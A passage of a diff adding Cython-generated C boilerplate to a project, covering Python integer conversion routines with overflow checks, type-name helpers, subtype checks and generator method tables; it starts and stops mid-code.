PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__35); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i send 'arg' into generator,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in generator,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside generator.")}, + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Generator_memberlist[] = { + {(char *) "gi_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "gi_yieldfrom", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being iterated by 'yield from', or None")}, + {(char*) "gi_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Generator_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the generator"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the generator"), 0}, + {(char *) "gi_frame", (getter)__Pyx_Coroutine_get_frame, 